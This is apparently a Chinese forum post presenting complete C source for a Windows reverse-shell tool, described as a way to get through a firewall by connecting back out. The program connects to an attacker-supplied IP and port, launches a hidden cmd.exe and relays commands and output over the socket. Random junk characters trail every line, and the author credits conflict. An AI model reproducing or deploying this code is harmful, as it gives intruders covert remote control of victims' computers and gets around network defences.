这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z5g*'
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/* ============================== Fr-Vq=j&
Rebound port in Windows NT H
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By wind,2006/7 ]F"P3':
===============================*/ ZFtJoGaR
#include >U.7>K
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#include \O]kf>nC
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#pragma comment(lib,"wsock32.lib") RBHU5]5
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void OutputShell(); nbW.x7
SOCKET sClient; \~r_S
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A@;{#.O
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void main(int argc,char **argv) ['Qh#^p
{ If8Lt}-
WSADATA stWsaData; ]z]=?;ty%
int nRet; /z(d!0_q|v
SOCKADDR_IN stSaiClient,stSaiServer; Jpy~5kS
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if(argc != 3) mz<X$2]?
{ Y-,S_59
printf("Useage:\n\rRebound DestIP DestPort\n"); :QF`Orb!^
return; Zq'FOzs
} 0d$LUQ't
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WSAStartup(MAKEWORD(2,2),&stWsaData); s`pdy$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xVrLoAw
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stSaiClient.sin_family = AF_INET; 2&=CC4<!d
stSaiClient.sin_port = htons(0); %q.5;L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6\Tq,I7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _Ea1;dJmq
{ IpM"k)HR
printf("Bind Socket Failed!\n"); )NTpb
return; iVo-z#
} eep/96G
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stSaiServer.sin_family = AF_INET; L8oqlq(
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q^uCZnkb=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); NZlCn:"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ >;#rK@*&
printf("Connect Error!"); Y5P9z{X=
return; ERIF#EY
} WqS$C;]%
OutputShell(); rCb$^(w{7
} Y/LS(b*
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void OutputShell() VA`VDUG,
{ PP/#Z~.M
char szBuff[1024]; $GOF'
SECURITY_ATTRIBUTES stSecurityAttributes; 2@Q5Ta#h
OSVERSIONINFO stOsversionInfo; ].Ra=^q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .krEfY&
STARTUPINFO stStartupInfo; Y\
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char *szShell; sLzZ}u?(
PROCESS_INFORMATION stProcessInformation; 7\ X_%SM %
unsigned long lBytesRead; ulk/I-y
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :fUNc^\2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EpTc{
stSecurityAttributes.lpSecurityDescriptor = 0; /XNC^!z6Js
stSecurityAttributes.bInheritHandle = TRUE; -S&d5(R
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B,` `2\B
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yr* ~?\
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uZ+"-Ig
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jaIcIc=Pf
stStartupInfo.wShowWindow = SW_HIDE; aCi)icn$
stStartupInfo.hStdInput = hReadPipe; mR|']^!SE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y1F%-o
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GetVersionEx(&stOsversionInfo); fo<nk|i
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switch(stOsversionInfo.dwPlatformId) E 0OHl
{ jw/@]f;N
case 1: =>&~p\Aw
szShell = "command.com"; QyrB"_dm
break; A+}O~,mxP8
default: o#D'"Tn!
szShell = "cmd.exe"; l\2"u M#7
break; +i}uRO
} MlLM
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7#*`7 K'P!
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send(sClient,szMsg,77,0); y'<5P~W!a
while(1) wzcv[C-x
{ : H]MMe
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sp_19u
if(lBytesRead) 2_Zn?#G8dl
{ z~i>GN_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iQgr8[
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send(sClient,szBuff,lBytesRead,0); +(`.pa z@
} %WqUZ+yy
else HcV,r,>e
{ &o&}5Aba9
lBytesRead=recv(sClient,szBuff,1024,0); .3wx}!:*|
if(lBytesRead<=0) break; Ci[Ja#p7$h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )EcfEym.>
} -I z,vd
} TxKNDu
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return; ;Y`8Ee4vH
}